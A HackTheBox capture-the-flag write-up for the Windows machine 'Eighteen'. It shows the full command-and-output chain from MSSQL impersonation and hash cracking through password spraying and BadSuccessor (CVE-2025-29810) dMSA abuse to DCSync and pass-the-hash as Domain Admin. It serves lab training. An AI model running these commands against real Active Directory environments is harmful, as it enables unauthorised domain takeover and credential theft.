# Eighteen Writeup - HackTheBox

> Exploit a vulnerable web app on a Windows box by discovering hidden endpoints, leveraging SQL injection, and escalating privileges to root via misconfigured services.

- **URL:** https://hackindex.io/writeups/eighteen
- **Platform:** HackTheBox
- **Difficulty:** Easy
- **Operating system:** Windows
- **Machine:** https://hacktheboxltd.sjv.io/eighteen
- **Tags:** sql-injection, active-directory, bloodhound, privilege-escalation, hash-cracking, password-cracking, cve-2025-29810
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 4 min read
- **Published:** 2026-02-23
- **Updated:** 2026-07-29

## Discovery

To start we begin with a full NMAP scan:

```bash
scan_tcp_full $TARGET_IP
# PORT     STATE SERVICE  VERSION
# 80/tcp   open  http     Microsoft IIS httpd 10.0
# |_http-title: Did not follow redirect to http://eighteen.htb/
# 1433/tcp open  ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
# | ms-sql-ntlm-info:
# |   Target_Name: EIGHTEEN
# |   NetBIOS_Domain_Name: EIGHTEEN
# |   NetBIOS_Computer_Name: DC01
# |   DNS_Domain_Name: eighteen.htb
# |   DNS_Computer_Name: DC01.eighteen.htb
# |_  Product_Version: 10.0.26100
# 5985/tcp open  http     Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
```

MSSQL on the DC with a known service version. WinRM open. Add hosts:

```bash
addhost $TARGET_IP DC01.eighteen.htb
addhost $TARGET_IP eighteen.htb 
# [+] Added: 10.10.11.95 → DC01.eighteen.htb
# [+] Added: 10.10.11.95 → eighteen.htb
#
```

## Initial Access

### MSSQL Enumeration with Given Credentials

The box starts with credentials `kevin / $KEVIN_PASSWORD`. Connect directly to MSSQL:

```bash
impacket-mssqlclient "kevin:$KEVIN_PASSWORD@$TARGET_IP"
# SQL (kevin  guest@master)> enum_db
# name                is_trustworthy_on
# -----------------   -----------------
# master                              0
# msdb                                1
# financial_planner                   0
#
# SQL (kevin  guest@master)> enum_impersonate
# execute as   database   permission_name   state_desc   grantee   grantor
# ----------   --------   ---------------   ----------   -------   -------
# b'LOGIN'     b''        IMPERSONATE       GRANT        kevin     appdev
#
# SQL (kevin  guest@master)> enable_xp_cmdshell
# ERROR(DC01): User does not have permission to perform this action.
```

Kevin has no direct execution rights, but can impersonate `appdev`.

### MSSQL Impersonation and DB Dump

Impersonate `appdev` and dump the `financial_planner` database:

```bash
python3 mssql_yoink.py --host $TARGET_IP --user kevin \
  --password '$KEVIN_PASSWORD' --impersonate appdev --output dump
# [*] Impersonating LOGIN: appdev
#
# [+] Database: financial_planner
#     dbo.users -> dumped 2 rows
```

The `dbo.users` table contains the admin account:

```
id,full_name,username,email,password_hash,is_admin
1002,admin,admin,admin@eighteen.htb,pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133,True
```

### PBKDF2 Hash Crack

The hash is stored in Flask/Werkzeug format with the raw bytes hex-encoded. Hashcat's PBKDF2-SHA256 mode (10000 / Django) expects the digest as base64. Convert the hex digest using CyberChef: From Hex → To Base64, then reformat:

```
pbkdf2_sha256$600000$AMtzteQIG7yAbZIa$BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=

```

Crack it:

```bash
hashcat -m 10000 hash.txt /usr/share/wordlists/rockyou.txt
# pbkdf2_sha256$600000$AMtzteQIG7yAbZIa$BnOtkKC0r7GdZiM28Pzjqe3Qt7GRk3F74ozk1myIcTM=:$ADMIN_PASSWORD
#
# Status: Cracked
#
```

Log into the web app at `http://eighteen.htb/login` as `admin:$ADMIN_PASSWORD`. The admin panel reveals nothing beyond what a normal user sees ,  it's a dead end.

### Domain User Enumeration

Brute-force RIDs over MSSQL to enumerate domain accounts:

```bash
nxc mssql $TARGET_IP -u kevin -p '$KEVIN_PASSWORD' --rid-brute --local-auth
# 1606: EIGHTEEN\jamie.dunn
# 1607: EIGHTEEN\jane.smith
# 1608: EIGHTEEN\alice.jones
# 1609: EIGHTEEN\adam.scott
# 1610: EIGHTEEN\bob.brown
# 1611: EIGHTEEN\carol.white
# 1612: EIGHTEEN\dave.green
# 1601: EIGHTEEN\mssqlsvc
```

### Password Spray → WinRM

The cracked admin password was reused ,  spray it against all domain users over WinRM:

```bash
nxc winrm $TARGET_IP -u users.txt -p '$ADMIN_PASSWORD' --no-bruteforce
# WINRM  10.10.11.95  5985  DC01  [+] eighteen.htb\adam.scott:$ADMIN_PASSWORD (Pwn3d!)
#
```

```bash
evil-winrm -i $TARGET_IP -u adam.scott -p '$ADMIN_PASSWORD'
```

User shell as `adam.scott`.

## Privilege Escalation

### BloodHound Enumeration

Collect AD data from the WinRM shell:

```bash
.\SharpHound.exe -c All --outputdirectory .
```

Download and load into BloodHound. The graph shows `adam.scott` is a member of `IT@eighteen.htb`, and the `IT` group holds `GenericAll` / `GenericWrite` / `CreateChild` over `OU=Staff,DC=eighteen,DC=htb`. This is the BadSuccessor attack surface.

### BadSuccessor (CVE-2025-29810) ,  dMSA Privilege Escalation

CVE-2025-29810 abuses the Delegated Managed Service Account (dMSA) migration feature in Windows Server 2025. When a group has `CreateChild` rights over an OU, it can create a dMSA inside that OU and set `msDS-ManagedAccountPrecededByLink` to any user ,  including `Administrator`. The dMSA then inherits the linked user's Kerberos privileges. Requesting a TGS for that dMSA effectively gives you a ticket carrying Administrator's credentials.

Confirm write access:

```bash
.\BadSuccessor.exe find
# [*] OUs you have write access to:
#     -> OU=Staff,DC=eighteen,DC=htb
#        Privileges: GenericWrite, GenericAll, CreateChild
```

Create a weaponised dMSA linked to `Administrator`, granting `adam.scott` rights to retrieve its managed password:

```bash
.\BadSuccessor.exe escalate `
  -targetOU "OU=Staff,DC=eighteen,DC=htb" `
  -dmsa "hackindex" `
  -targetUser "CN=Administrator,CN=Users,DC=EIGHTEEN,DC=HTB" `
  -dnshostname hackindex.eighteen.htb `
  -user "adam.scott" `
  -dc-ip "$TARGET_IP"
# [+] Created dMSA 'hackindex' in 'OU=Staff,DC=eighteen,DC=htb',
#     linked to 'CN=Administrator,CN=Users,DC=EIGHTEEN,DC=HTB'
# [*] Use Rubeus asktgs with /dmsa to retrieve TGS and Password Hash
```

Get a TGT for `adam.scott`:

```bash
.\Rubeus.exe asktgt /user:adam.scott /password:$ADMIN_PASSWORD `
  /domain:eighteen.htb /dc:dc01.eighteen.htb /opsec /nowrap /force
```

Use the TGT to request a dMSA TGS for `hackindex$`. The `/dmsa` flag triggers the special key derivation that returns the current managed password key ,  which is Administrator's:

```bash
.\Rubeus.exe asktgs /ticket:<TGT_BASE64> `
  /targetuser:hackindex$ /service:krbtgt/eighteen.htb `
  /dmsa /dc:dc01.eighteen.htb /opsec /nowrap /outfile:hackindex.kirbi /force
# [+] TGS request successful!
#   UserName     :  hackindex$ (NT_PRINCIPAL)
#   Current Keys for hackindex$: (aes256_cts_hmac_sha1)
#     6F2AB5E7F615B132DFEBC2B337FDA1DA55518CD4C5391FAA59BEB41452DCD50C
# [*] Ticket written to hackindex.kirbi
```

Download the kirbi and convert to ccache:

```bash
impacket-ticketConverter hackindex.kirbi hackindex.ccache
export KRB5CCNAME=hackindex.ccache
```

### DCSync as hackindex$

With the dMSA ticket active, run DCSync to extract the Administrator hash:

```bash
impacket-secretsdump eighteen.htb/hackindex\$@dc01.eighteen.htb \
  -k -no-pass -just-dc-user Administrator
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:$ADMINISTRATOR_HASH:::
#
```

### Pass-the-Hash as Administrator

```bash
evil-winrm -i dc01.eighteen.htb -u Administrator -H '$ADMINISTRATOR_HASH'
# *Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
#
```

Domain Admin.

Related

## References

- [Akamai](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory) - BadSuccessor dMSA privilege escalation research
- [NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-29810) - CVE-2025-29810 Active Directory dMSA privilege escalation
- [Rubeus](https://github.com/GhostPack/Rubeus) - Kerberos toolkit with dMSA TGS support
- [BadSuccessor](https://github.com/akamai/BadSuccessor) - exploit tooling for CVE-2025-29810